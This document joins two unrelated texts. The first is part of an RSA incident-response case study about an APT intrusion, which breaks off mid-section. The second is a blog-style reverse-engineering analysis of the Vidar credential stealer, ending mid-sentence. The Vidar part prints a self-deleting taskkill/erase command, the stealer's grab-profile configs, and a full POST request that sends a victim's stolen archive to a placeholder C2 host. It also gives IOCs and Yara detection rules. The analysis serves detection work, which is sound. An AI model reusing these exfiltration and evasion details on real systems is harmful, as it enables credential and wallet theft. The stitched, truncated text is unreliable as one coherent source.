# RSA Incident Response: An APT Case Study ## 1. Executive Summary This case study contains information from an engagement that the RSA Incident Response (IR) team worked during the September to October 2013 timeframe. It highlights the analysis flow using two of our flagship products, Security Analytics (SA) and the Enterprise Compromise Assessment Tool (ECAT), for an Advanced Persistent Threat (APT) intrusion investigation. These key technologies allow RSA analysts to process massive datasets and find forensically interesting artifacts in near real-time and more quickly than using standard incident response processes. APT actors are typically state-sponsored, highly skilled, and have the resources to maintain prolonged campaigns of attacks against their targets. Law Enforcement (LE), security researchers, or other third-party entities typically notify victims of APT intrusions, like the one in this case. When analysts initially start working with a customer, the intent is to verify the intelligence of the notification. Too narrow of a focus on specific threat actors and known Indicators of Compromise (IOC) can give the analyst a myopic view of the scope of the incident. This is where the traditional Incident Response process and the process employed by RSA diverge. Utilizing SA and ECAT in parallel, analysts are able to mark up their respective datasets and feed each other actionable intelligence. Given the forensic capabilities of the respective tools, a large majority of the Host Based triage analysis can be completed before ever requesting full disk images. Additionally, with the capability of examining the host in detail remotely, false positives commonly found in traditional IOC sweeps can be eliminated, reducing analytical workload. Neither technology employed by RSA, ECAT or Security Analytics, rely on static signatures from known IOCs. Instead, the technologies utilize a multi-layer approach to identify known good behavior and related binaries while the unknown and non-standard artifacts stand out. This allows the analyst to broaden their search and discover artifacts beyond the scope of the known. This workflow has been instrumental in many Incident Response engagements led by RSA; oftentimes there are multiple intrusion sets and older campaigns left behind in the environment, not discovered by traditional methods including Anti-Virus, or discovered during previous third-party response efforts. ## 2. Security Analytics and ECAT Deployment RSA utilized the victim’s Security Analytics infrastructure capturing all enterprise ingress/egress traffic from three US locations. The ECAT agent was deployed to about 500 Windows systems on the network. ## 3. Analysis Methodology RSA IR employs a methodology that is founded on industry standards. The holistic approach includes the following four core components: - Intelligence gathering and research - Host-based forensic analysis - Network-based forensic analysis - Malware analysis Using an iterative approach, the RSA IR Team employs a repeatable process as needed upon the discovery of additional actionable data. Analysis is executed concurrently and therefore activities are performed simultaneously for maximum efficiency and effectiveness. To complete this work, RSA IR uses several commercial and open source forensic tools to recover artifacts to build a comprehensive understanding of the extent of compromise. In addition, the Team will leverage available tools and technologies in place within the enterprise to effectively utilize the IOCs to identify compromised systems and monitor for continued attacker presence. Using this methodology and associated proactive and reactive techniques, the Team is able to enhance overall situational awareness and ultimately provide answers to questions and actionable information allowing for tactical decision making in near real-time. ## 4. Case Study Technical Details ### 4.1 Initial Consultation A Law Enforcement agency notified the victim (CompanyA) on July 2013 about potential unauthorized activity emanating from CompanyA’s network. This LE notification mentioned that a rather large amount of data had been exfiltrated. CompanyA requested the help of the RSA IR team to determine the extent of the problem. CompanyA sent firewall logs for a 24-hour period encompassing the time in the notification from the LE agency. The RSA IR team was able to rapidly analyze the firewall logs, pinpointing several entries from a machine that had two large transfers. The two file transfer sizes combined matched the approximate amount of data that had been reported as being exfiltrated to an external system in the continental United States. The RSA IR team provided this information back to CompanyA and requested that CompanyA provide a memory dump of that particular server for analysis. The RSA IR team used Volatility to analyze the submitted memory dump. Very quickly, while parsing the Application Compatibility cache from the memory image, RSA IR confirmed this server likely had unauthorized activity based on locations and filenames that were executed on the system. Based on these findings, RSA IR advised CompanyA that this server had evidence of unauthorized activity, and that based on some of the filenames of the tools, the adversary had most likely dumped password hashes. RSA IR advised CompanyA that based on the Last Modified times for the executed files, this adversary had been on this system since at least 2012 and possibly 2010. These findings indicated a high probability that other systems on the network were compromised and/or accessed. The same LE agency notified the company again in September 2013 of more unauthorized activity. ### 4.2 Incident Response On 26 September 2013, the RSA IR team was formally engaged to respond to this incident. The following section describes how RSA IR analysts were able to utilize SA and ECAT to investigate this incident. The ECAT agent was initially deployed to a small number of systems on the network primarily due to the victim’s belief that this was an isolated incident. CompanyA had taken the first known compromised system offline in June, a few weeks before we performed memory analysis on it. RSA IR chose eight systems to perform host forensics on due to their importance to the victim organization. #### 4.2.1 ECAT Analysis – System XX13 ECAT contains a set of filters and IOCs that highlight files of interest based purely on behavioral characteristics such as how they are loaded or where they are located. One of these filters is the “Reserved Filename,” which displays any files that have reserved names and are not in their default location. The list of Reserved Filenames includes both common Windows file system names such as svchost.exe, explorer.exe, etc., as well as the names of common applications such as browser executables. In the example depicted in Figure 5 below, ECAT indicated that a file named svchost.exe (which natively resides under c:\Windows\system32\ folder) is suspicious due to its unexpected location. Another very useful feature of ECAT is the ability to triage a system by downloading a system’s Master File Table (MFT) directly from ECAT’s console, swiftly allowing the ECAT analyst to triage a system remotely without interfering with the end user’s usage of the system. The built-in ECAT MFT Viewer displays all relevant NTFS attributes including all 8 NTFS time stamps. Frequently, modern APT Trojans time stomp their files to avoid suspicion, so seeing all 8 time stamps is critical in determining when something malicious occurred as well as finding other related events. Within a few seconds after requesting the MFT, the analyst was able to perform time analysis on the system. This process started with events that occurred around the time when the known malicious file named svchost.exe was created. This analysis revealed another related file named svchost.conf, which was determined to be this Trojan’s obfuscated configuration file.
# Let’s dig into Vidar – An Arkei Copycat/Forked Stealer (In-depth analysis) Sometimes when you are reading tons of logs of malware analysis, you are not expecting that some little changes could be impactful. I paid the price when I was analyzing a supposed Arkei malware. My Yara rule at that time was supposed to trigger this malware, but after some reversing, I realized that I was confronted with something different. Some strings linked to the Arkei signature were deleted and a new one appeared with the string “Vidar.” There are also some other tweaks in the in-depth analysis that prove there are some differences (but small), but all the rest was totally identical to Arkei. The malware is written in C++, seems to have started activities at the beginning of October 2018, and has all the classic features of stealers: - Searching for specific documents - Stealing ID from cookie browsers - Stealing browser histories (also from Tor browser) - Stealing wallets - Stealing data from 2FA software - Grabbing messages from messenger software - Taking screenshots - Loader settings - Telegram notifications (on server-side) - Getting a complete snapshot of all information of the computer victim Sold with a range of $250-700, this stealer is available on shops/forums, and when people buy it, they have access to a C2 Shop portal where they can generate their own payloads. There is no management on their side. Also, domains that lead to the C2/Shop are changed every 4 days. ## Basic Countries Bypassing First of all, we have some classic patterns to quit the program if the victim machines are configured in some language with the help of `GetUserDefaultLocaleName`. This is one of the easy tricks to check if the malware is not infecting users from specific countries. The stealer checks if the language corresponds with the list of countries mentioned below. | Locale | Country | |---------|--------------| | ru-RU | Russia | | be-BY | Belarus | | uz-UZ | Uzbekistan | | kk-KZ | Kazakhstan | | az-AZ | Azerbaijan | ## Mutex Generation The mutant string generated by Vidar is unique for each victim but simple to understand how it is generated. This is just a concatenation of two strings: - **Hardware Profile ID**: `GetCurrentHwProfileA` is used to retrieve the current hardware profile of the computer with the value of `szHwProfileGuid`. If it fails, it will return “Unknown.” - **The Machine GUID**: With the help of `RegOpenKeyExA`, the value of the registry key is fetched: `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid`. This is the UUID created by Windows during the installation of the operating system. When it’s done, the mutex is created. ## String Setup When Vidar enters the main function, it needs to store some required strings to work properly for further steps. All the RVA addresses of each string are stored in the .data section. The malware will go there to access the requested string. This is a trick to slow down the static analysis of the malware, but this is easy to surpass. ## C2 Domain & Profile ID When the malware is generated by the builder in the customer area, a unique ID is hardcoded into it. When Vidar requests this value on the malicious domain, it retrieves the corresponding profile that the threat actor wants to grab/steal from the victim machine. In this case, the profile ID is “178.” If there is no config on the malware, the profile ID “1” is hardcoded into it. The C2 domain is a simple XORed string; the key is directly put into the XOR function to decrypt the data. Decrypted, it’s in fact “newagenias.com.” Configs can be extracted easily with the script `izanami.py` on my GitHub repository. ## How to Understand the Config Format For example, this is the default configuration the malware could get from the C2: ``` 1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.* ``` Each part has “;” as a delimiter. Let’s dig into it. ### First Part - 1: Saved password - 1: Cookies / AutoFill - 1: Wallet - 1: Internet History - 1: ??? – Supposed to be Skype (not implemented) - 1: ??? – Supposed to be Steam (not implemented) - 1: Telegram - 1: Screenshot - 1: Grabber - 1: ??? - 250: Max Size (kb) - Default: Name of the profile (also used for archive file into the files repository) ### Second Part - `%DESKTOP%`: Selected folder repository where the grabber feature will search recursively (or not) for some selected data. ### Third Part - `*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*` ### Fourth Part - 50: Max Size per file (kb) - true: Collect Recursively ### Fifth Part - `movies:music:mp3;`: This is the exception part; the grabber will avoid those strings if they match in the files searched recursively in the specific wanted folder. The setup is quite a mess if we look into the code. Each option is stored into a byte or DWORD variable. ## Folder Generation To summarize all kinds of possible files/folders that will be generated for the malicious repository: - `\\files`: Master folder - `\\files\\Autofill`: Auto-Fill files - `\\files\\CC`: Credit Cards - `\\files\\Cookies`: Cookies - `\\files\\Downloads`: Downloaded data history from browsers - `\\files\\Files`: Profile configs (Archives) - `\\files\\History`: Browser histories - `\\files\\Soft`: Master folder for targeted software - `\\files\\Soft\\Authy`: 2FA software - `\\files\\Telegram`: Telegram messages - `\\files\\Wallets`: Cryptomining Wallets ### Generalist Files - `\\files\screenshot.jpg`: Actual screenshot of the screen - `\\files\passwords.txt`: Passwords consolidated all at once - `\\files\\information.txt`: Snapshot of the computer setup ## Libraries Necessary to Grab Some Data Something that I love when I read some malware specs is when they say that the product could be launched without the necessity of having some runtime libraries or other required software on the machine. But when you dig into the code or just watch some network flow, you can see that the malware is downloading some DLLs to perform some tasks. For this case, they are required during the stealing process of different kinds of browsers. - `freebl3.dll`: Freebl Library for the NSS (Mozilla Browser) - `mozglue.dll`: Mozilla Browser Library - `msvcp140.dll`: Visual C++ Runtime 2015 - `nss3.dll`: Network System Services Library (Mozilla Browser) - `softokn3.dll`: Mozilla Browser Library - `vcruntime140.dll`: Visual C++ Runtime 2015 They are deleted when the task is done. ## FTP ### List of Supported Software - FileZilla - WinSCP ## 2FA Software Something interesting about this malware is that it also targets 2FA software, a feature that I considered not commonly seen in the wild. With the multiplication of these kinds of protection, victims must understand that 2FA is not the ultimate way to protect accounts from hackers; this could also be another door for vulnerabilities. With Vidar, the Authy software is targeted, specifically the SQLite file on the corresponding application in the `%APPDATA%` repository. This is the same operating where the stealer wants to steal data with software like Discord or Chrome. ## Browsers This malware is also stealing Tor Browser data. ### List of Supported Browsers - 360 Browser - Amigo - BlackHawk - Cent Browser - Chedot Browser - Chromium - CocCoc - Comodo Dragon - Cyberfox - Elements Browser - Epic Privacy - Google Chrome - IceCat - Internet Explorer - K-Meleon - Kometa - Maxthon5 - Microsoft Edge - Mozilla Firefox - Mustang Browser - Nichrome - Opera - Orbitum - Pale Moon - QIP Surf - QQ Browser - Sputnik - Suhba Browser - Tor Browser - Torch - URAN - Vivaldi - Waterfox Of course, this list could be more extensive if there are some browsers based on the Chromium repository. ## Messengers/Mailers The technique is the same as explained in my previous blog post (especially for the Telegram part). - Bat! - Pidgin - Telegram - Thunderbird ## Wallets - Anoncoin - BBQCoin - Bitcoin - DashCore - DevCoin - DigitalCoin - Electron Cash - ElectrumLTC - Ethereum - Exodus - FlorinCoin - FrancoCoin - JAXX - Litecoin - MultiDoge - TerraCoin - YACoin - Zcash Of course, this list could change if the customer added some additional files to search in specific areas on the victim machine. ## Grabber The grabber feature is by far the most complicated feature of the malware and looks to be really different from Arkei in terms of implementation. It will skip or not the grabber feature by checking in the config file downloaded if this is activated. Preparing the strings for creating the folder path and when all is set, `func_grabber` could be used. When inspecting `func_grabber`, I was not prepared for this. I had all the magnificent stuff that all malware reversers love (or not at all): - Weird conditions come out of the blue. - Calling functions that will call other functions like Russian wooden dolls. - API calls. But if we look at this from a macro view, it’s easier than it looks. If the string `%APPDATA%` is present in the config downloaded from the C2, it will enter into the function and start a bunch of verifications until entering into the most important one called `func_VidarSearchFile`. After the process, it will remain almost the same for each scenario. ### Repositories Available in the Grabber Feature - `%ALL_DRIVES%` (GetDriveTypeA Necessary) - `%APPDATA%` - `%C%` - `%D%` - `%DESKTOP%` - `%DOCUMENTS%` - `%DRIVE_FIXED%` - `%DRIVE_REMOVABLE%` - `%LOCALAPPDATA%` - `%USERPROFILE%` ## Screenshot The generation of the screenshot is easy to understand: - First, `GdiplusStartup` function is called to initialize the Windows GDI+. - Then an alternative to `GetDeviceCaps` is called for getting the height of the screen on the display monitor with the value `SM_CYSCREEN` (1) and with `GetSystemMetrics`, this will be the same thing with `SM_CXSCREEN` (0) for the width. Now, it needs a DC object for creating a compatible bitmap necessary to generate our image by selecting the windows DC into the compatible memory DC and using a Bit Block API function to transfer the data. When all is done, it will enter into `func_GdipSaveImageToFile`. Now it needs to collect the bits from the generated bitmap and copy them into a buffer that will generate the screen capture file. ## Information Log Let’s dig into `information.txt` to understand how this file is generated. I will mention only some parts of the creation; another part will be just the corresponding API call, breakpoint on these API if you want to take your time to analyze all the steps easily. First, it indicates which version of Vidar is used. If you don’t see a Vidar on the log file, it means that you have an early version of it. - **Date**: `GetSystemTimeAsFileTime` - **MachineID**: Explained above - **GUID**: `GetCurrentHwProfileA` - **Path**: `GetModuleFileNameExA` - **Work Dir**: Hardcoded string + `func_FolderNameGeneration` - **Operating System**: The name of the operating system and platform is classic because this is a concatenation of two things. First, with `RegOpenKeyExA`, the value of this registry key is fetched: `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName`. Secondly, for knowing if Windows is 32 or 64-bit, it checks itself if it is running on WOW64 with the help of `IsWow64Process`. - **Computer Name**: `GetComputerNameA` - **User Name**: `GetUserNameA` - **Display Resolution**: `CreateDCA` is called to create a device context for “Display” and requesting the Width and Height of the Device with `GetDeviceCaps`. Let’s continue our in-depth analysis… - **Display Language**: `GetUserDefaultLocaleName` - **Keyboard Languages**: `GetKeyboardLayoutList` / `GetLocaleInfoA` - **Local Time**: `GetSystemTimeAsFileTime` - **TimeZone**: `TzSpecificLocalTimeToSystemTime` ### Hardware - **Processor**: The process name, the value of the registry key is fetched: `HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\ProcessorNameString` - **CPU Count**: `GetSystemInfo.dwNumberOfProcessors` - **RAM**: `GlobalMemoryStatusEx` - **VideoCard**: `EnumDisplayDevicesW` ### Network The network part is quite easy; it’s a translation of data retrieved on `ip-api.com/line/` and put into the log at the corresponding place. ### Processes There is quite soft stuff done to get a snapshot of all the processes at the time the stealer is executed. But in the end, this is not complicated at all to understand the different steps. - Request `CreateToolhelp32Snapshot` to get the complete snapshot of all the processes executed and read one by one in a loop with `Process32First`. After checking if it’s a parent process or a child process, Vidar will grab two values of the `PROCESSENTRY32` object: - `th32ProcessID`: PID - `szExeFile`: The name of the PE ### Software For the list of all installed software, the value of this registry key is fetched: `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall` and these values are retrieved for each software: - `DisplayName` - `DisplayVersion` ## Results For example, if you want to see the results, let’s look into one sandbox analysis, the generated `information.txt` (this is Vidar 4.2 here): ``` Vidar Version: 4.2 Date: Thu Dec 13 14:39:05 2018 MachineID: 90059c37-1320-41a4-b58d-2b75a9850d2f GUID: {e29ac6c0-7037-11de-816d-806e6f6e6963} Path: C:\Users\admin\AppData\Local\Temp\toto.exe Work Dir: C:\ProgramData\LDGQ3MM434V3HGAR2ZUK Windows: Windows 7 Professional [x86] Computer Name: USER-PC User Name: admin Display Resolution: 1280x720 Display Language: en-US Keyboard Languages: English (United States) Local Time: 13/12/2018 14:39:5 TimeZone: UTC-0 ``` ### [Hardware] - **Processor**: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz - **CPU Count**: 4 - **RAM**: 3583 MB - **VideoCard**: Standard VGA Graphics Adapter ### [Network] - **IP**: 185.230.125.140 - **Country**: Switzerland (CH) - **City**: Zurich (Zurich) - **ZIP**: 8010 - **Coordinates**: 47.3769,8.54169 - **ISP**: M247 Ltd (M247 Ltd) ### [Processes] - System [4] - smss.exe [264] - csrss.exe [344] - < ... > ### [Software] - Adobe Flash Player 26 ActiveX [26.0.0.131] - Adobe Flash Player 26 NPAPI [26.0.0.131] - Adobe Flash Player 26 PPAPI [26.0.0.131] - < ... > ## Loader The task is rudimentary but enough to do the job: - Generating a random name for the downloaded payload - Downloading the payload - Executing When the binary file is downloaded from the C2, it uses `CreateFileA` with specific parameters: - `edi`: The downloaded data from the C2 - `80h`: “The file does not have other attributes set. This attribute is valid only if used alone.” - `2`: This option will force the overwriting if the filename already exists. - `edi`: ??? - `1`: “Enables subsequent open operations on a file or device to request read access.” Otherwise, other processes cannot open the file or device if they request read access. - `40000000h`: Write access (GENERIC_WRITE) - `ebp+lpFileName`: The generated filename When it’s done, it only needs to write content into the files (`WriteFile`) and then close the corresponding handle (`CloseHandle`). Now, the file is downloaded and saved onto the disk; it only needs to be launched with `ShellExecuteA`. So don’t hesitate to breakpoint this API function to grab the payload before it’s too late for further analysis. ## Killing Part When all the tasks of the stealer are finally accomplished and cleaned, the stealer needs to erase itself. First, it retrieves its own PID with the help of `GetCurrentProcessId`. When it’s done, it enters into `func_GetProcessIdName`, tries to open a handle on its own process with `OpenProcess`. If it fails, it continues to check, and in the end, the most important task here is to call `GetModuleBaseNameA`, which allows it to retrieve the name of the process with the PID obtained before. Some strings that are hardcoded in the .rdata section are called and saved for future purposes. When the request is finely crafted, Vidar simply uses `ShellExecuteA` to pop a command shell and execute the task, allowing it to erase all traces of the interaction of the payload on the machine. ### Quick Overview of the Executed Command ``` C:\Windows\System32\cmd.exe” /c taskkill /im vidar.exe /f & erase C:\Users\Pouet\AppData\Local\Temp\vidar.exe & exit ``` ## Sending Archive to the C2 ### Folder Generation ``` COUNTRY + “_” + Machine GUID + “.zip” ``` For example: ``` NG_d6836847-acf3-4cee-945d-10c9982b53d1.zip ``` ### Last POST Request During the generation of the POST request, the generated HTTP packet is tweaked to add some additional content that the C2 server will read and process. Each name at the end of the string will be the corresponding field to be saved into the database. | Field | Description | |-------------|--------------------------------------| | hwid | Hardware ID | | os | Operating System | | platform | 32 or 64 bits System | | profile | C2 Profile ID | | user | Name of the victim account | | cccount | Number of Credit Cards stolen | | ccount | Number of Coins Stolen (CryptoWallet) | | fcount | Number of files stolen | | telegram | Telegram | | ver | The version of the Vidar malware | There is a little trick here that I found nice. The response to the POST request contains the config for the loader. - If there is nothing, the response is “ok.” - If there is something, the specified URL(s) are stored. ## Server-Side Because it’s easy to find some information about the stealer, there’s no need to dig hard to find some marketplace where Vidar is sold. The panel is a classical fancy user-friendly interface, with all the basic information necessary for the customer to have a fast view of how their business is going: - The current version of the builder - Until when they can generate some payloads - How many victims - The current balance on their account to re-subscribe again ### Logs Something to mention with the log part is that it’s possible to put some notes on each data. ### Builder The builder tab is also pretty interesting because we have the changelog information about the stealer. The malware generated will not be packed, and this is the same scenario with Arkei. The customer/threat actor must use their own crypter/packer software for their payload. ### Settings The most important tab is where it is possible to configure the payload for grabbing some additional stuff on the machine with the profiles. It’s also important to note that it’s possible with Vidar to deploy multiple profiles at the same time. This means when the payload infects the victim machine, X archive for X profile is saved in the “files” repository. The customer can easily sort for malicious purposes after the grabbed data. When editing or creating a new rule, a prompt panel appears in relation to what was explained above with all possible paths that the malware can search with the selected files. After checking a little, there are plenty of profiles on the C2. Here’s what we could find: ### Default Empty Config ``` 1,1,1,1,1,1,1,1,0,1,250,none; ``` ### Default Initialized Config ``` 1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*. ``` ### Examples of Custom Profiles ``` 1,1,1,1,1,1,1,1,1,1,250,grabba;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*. 1,1,0,1,1,1,1,1,1,1,250,инфа;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*: 1,1,1,1,1,1,1,1,1,1,250,Первое;%DESKTOP%\;*.txt:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*;50;true;movies:music:mp3; 1,1,1,1,1,1,1,1,1,1,250,123435566;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*ut 1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*. ``` There are also possibilities to see multiple profiles executed at the same time: ``` 1,1,1,1,1,1,0,1,1,1,250, DESKTOP;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*2fa*.png:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*cr DOCUMENTS;%DOCUMENTS%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.* DRIVE_REMOVABLE;%DRIVE_REMOVABLE%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC* ``` They are in fact delimited with the specific format, as detailed above. So here, we have 3 profiles: - DESKTOP - DOCUMENTS - DRIVE_REMOVABLE These will be stored into their respective archives in the “files” repository. All dumped profiles are available on my GitHub repository. Finally, with this quick analysis of the panel, something that is more and more common nowadays with a stealer is a loader feature for pushing other malware. As mentioned in the introduction, this is a shop where customers will just have to deal with configuring their malware; everything is managed by a team behind for maintenance and to avoid proxy filtering stuff. Domains are changed regularly (it’s also easy to check this on the samples because a new version means a new generated domain). There is also the possibility (of what they said) to have 2FA Authentication for their account page. ### A Kind of Easter Egg If we search for some stuff with the login panel, we find a sympathetic message. Let’s see what we have behind. ## Vidar – An Arkei Copycat? If we look at requests and code, Vidar is almost identical to Arkei. There are slight differences at some points, but all implemented features are the same. This could mislead some blue team people if they don’t pay too much attention to sandbox results. Current Yara rules will trigger Vidar as Arkei, so automated assignments lead to mistakes during this review. Analyzing the code is mandatory here to understand what’s going on. At first, the main function for both of them is similar. The archive generation is also the same, so this information cannot differentiate these two malware. ## Code Differences An easy way to know if we are dealing with Vidar is to find “Vidar.cpp.” ### Vidar Signature ### Arkei Signature ### Network Differences An analyst can be duped easily with the requests and think that we have another form of HTTP requests with Arkei, but it’s not. #### Vidar HTTP Requests - `/` (i.e., 162): Config - `ip-api.com/line/`: Get Network Info - `/msvcp140.dll`: Required DLL - `/nss3.dll`: Required DLL - `/softokn3.dll`: Required DLL - `/vcruntime140.dll`: Required DLL - `/`: Pushing Victim Archive to C2 There are no libraries downloaded on Arkei; this is something really specific to Vidar for some parts of the stealing process. #### Arkei HTTP Requests - `/index.php`: Config - `ip-api.com/line/`: Get Network Info - `/index.php`: Pushing Victim Archive to C2 ## Config Format If you want to understand the purpose of the config format for Arkei: - 1: Saved Passwords - 1: Cookies / Autofill - 1: History - 2: CryptoCurrency - 2: Skype - 2: Steam - 1: Telegram - 1: Screenshot - 1: Grabber - `txt:log:`: Grabber Config - 50: Max Size (kb) - 2: Self Delete Also, there are some slight changes in the last POST requests; Vidar just adds new fields like the profile and the versioning. To understand how far the requests look the same, let’s dig into a PCAP file. I indicated the differences in red, and apart from the versioning and profile values, all the rest is the same. But if we dig into some older samples, it’s impossible to see the differences except the path of the request. ### Last POST Request – Vidar ``` POST / HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A Content-Length: 66809 Host: some.lovely.vidar.c2.with.love Connection: Keep-Alive Cache-Control: no-cache --1BEF0A57BE110FD467A Content-Disposition: form-data; name="hwid" 90059c37-1320-41a4-b58d-2b75a9850d2f --1BEF0A57BE110FD467A Content-Disposition: form-data; name="os" Windows 7 Professional --1BEF0A57BE110FD467A Content-Disposition: form-data; name="platform" x86 --1BEF0A57BE110FD467A Content-Disposition: form-data; name="profile" XXX <- Random Int --1BEF0A57BE110FD467A Content-Disposition: form-data; name="user" admin --1BEF0A57BE110FD467A Content-Disposition: form-data; name="cccount" 0 --1BEF0A57BE110FD467A Content-Disposition: form-data; name="ccount" 0 --1BEF0A57BE110FD467A Content-Disposition: form-data; name="fcount" 0 --1BEF0A57BE110FD467A Content-Disposition: form-data; name="telegram" 0 --1BEF0A57BE110FD467A Content-Disposition: form-data; name="ver" 4.1 --1BEF0A57BE110FD467A Content-Disposition: form-data; name="logs"; filename="COUNTRY_.zip" Content-Type: zip ``` ## Features Differences When we dig into the different features, there is some config part on Vidar that is just some placebo options. For example, the Steam stealing feature implemented in Arkei is not found in Vidar. This is also the same thing with Skype, but in contrast, 2FA stealing stuff is only on Vidar (with what I have seen on samples in my possession). ## Is Arkei Still Active and Maintained? On one of the selling pages of this stealer, it’s still sold and continues to be updated. For example, it reveals that soon a final update on it will be pushed (v10). ## The Vidar Cracked Version There is also in the wild a cracked version that was already spotted by some people on Twitter. This Vidar or “Anti-Vidar” as called in the source code of the panel, is based on an early Vidar build (v2.3 it seems). ### Login The login is identical to the Android Lokibot panel. As always when confronted with this kind of stuff, the code never lies (or it seems) for helping us to identify what is the real C2/Malware. ### Profile Code The profile is far simpler than the nowadays panels and samples; the default profile is hardcoded on the PHP file and will get it if the value is 11. ## IoCs ### SHA256 Hashes - 3A20466CC8C07638B8882CCC9B14C08F605F700F03D388CF85B2E76C51D64D65 - 0E982A02D754588D4EE99F30084B886B665FF04A1460D45C4FD410B04B10A8AF - 2679FA8E9FD0C1F6F26527D53759BB596FDA43A741B4DFCC99A8C0907836A835 - 9EC586B07961E0C93C830DD1C47598FE21277432F11809A4B73DF7370CDD2E29 - 42C6950CA57D8805C217E3334158DAB4CC71A50C94D77F608B1C442BFD2B01CA - D71F81EDF8AC04639D3B7C80AA178DF95C2CBFE73F81E931448A475FB771267A - DAD5FCEAB002791DD6FD575782C173F1A39E0E7CE36E6DE1BAEFA95D0A8FB889 - 66162E69CA30A75E0DD1A6FBB9028FCFBE67B4ADE8E844E7C9FF2DCB46D993D8 - EFF272B93FAA1C8C403EA579574F8675AB127C63ED21DB3900F8AB4FE4EC6DA9 - EDBAC320C42DE77C184D30A69E119D27AE3CA7D368F802D2F8F1DA3B8D01D6DD - B1D5B79D13F95A516ABBCC486841C8659984E5135F1D9C74343DCCD4390C3475 - 543AEE5A5435C77A8DE01433079F6381ADB4110F5EF4350E9A1A56B98FE40292 - 65B2BD17E452409397E2BD6F8E95FE8B708347D80074861698E4683BD12437A9 - 47E89F2C76D018D4952D421C5F1D603716B10E1712266DA32F63082F042F9C46 - 5D37323DA22C5414F6E03E06EFD184D7837D598C5E395E83C1BF248A7DE57155 - 5C0AF9C605AFD72BEF7CE8184BCCC9578EDB3A17498ACEBB74D02EB4AF0A6D2E - 65287763245FDD8B56BB72298C78FEA62405BD35794A06AFBBE23CC5D38BE90A - 20E92C2BF75C473B745617932F8DC0F8051BFC2F91BB938B2CC1CD808EBBC675 - C752B68F3694B2FAAB117BCBA36C156514047B75151BBBFE62764C85CEF8ADE5 - AE2EBF5B5813F92B0F7D6FCBADFA6E340646E4A776163AE86905E735A4B895A0 - 8F73E9C44C86D2BBADC545CED244F38472C5AACE0F75F57C8FC2398CE0A7F5A1 ### Domains - malansio.com - nasalietco.com - binacoirel.com - newagenias.com - bokolavrstos.com - naicrose.com - benderio.com - cool3dmods.com ## MITRE ATT&CK ## Yara Rules ### Vidar ```yara rule Vidar_Stealer : Vidar { meta: description = "Yara rule for detecting Vidar stealer" author = "Fumik0_" strings: $mz = { 4D 5A } $s1 = { 56 69 64 61 72 } $s2 = { 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 } condition: $mz at 0 and ( (all of ($s*)) ) } ``` ### Early Versions ```yara rule Vidar_Early : Vidar { meta: description = "Yara rule for detecting Vidar stealer - Early versions" author = "Fumik0_" strings: $mz = { 4D 5A } $s1 = { 56 69 64 61 72 } $hx1 = { 56 00 69 00 64 00 61 00 72 00 2E 00 63 00 70 00 70 00 } condition: $mz at 0 and all of ($hx*) and not $s1 } ``` ### Anti-Vidar ```yara rule AntiVidar : Vidar { meta: description = "Yara rule for detecting Anti Vidar - Vidar Cracked Version" author = "Fumik0_" strings: $mz = { 4D 5A } $s1 = { 56 69 64 61 72 } $hx1 = { 56 00 69 00 64 00 61 00 72 00 2E 00 63 00 70 00 70 00 } $hx2 = { 78 61 6B 66 6F 72 2E 6E 65 74 00 } condition: $mz at 0 and all of ($hx*) and not $s1 } ``` ### Arkei ```yara rule Arkei : Arkei { meta: Author = "Fumik0_" Description = "Rule to detect Arkei" Date = "2018/12/11" strings: $mz = { 4D 5A } $s1 = "Arkei" wide ascii $s2 = "/server/gate" wide ascii $s3 = "/server/grubConfig" wide ascii $s4 = "\\files\\" wide ascii $s5 = "SQLite" wide ascii $x1 = "/c taskkill /im" wide ascii $x2 = "screenshot.jpg" wide ascii $x3 = "files\\passwords.txt" wide ascii $x4 = "http://ip-api.com/line/" wide ascii $x5 = "[Hardware]" wide ascii $x6 = "[Network]" wide ascii $x7 = "[Processes]" wide ascii $hx1 = { 56 00 69 00 64 00 61 00 72 00 2E 00 63 00 70 00 70 00 } condition: $mz at 0 and ( (all of ($s*)) or ((all of ($x*)) and not $hx1)) } ``` ## Recommendations This is, as usual, the same thing that I said about my previous blog post: - Always run stuff 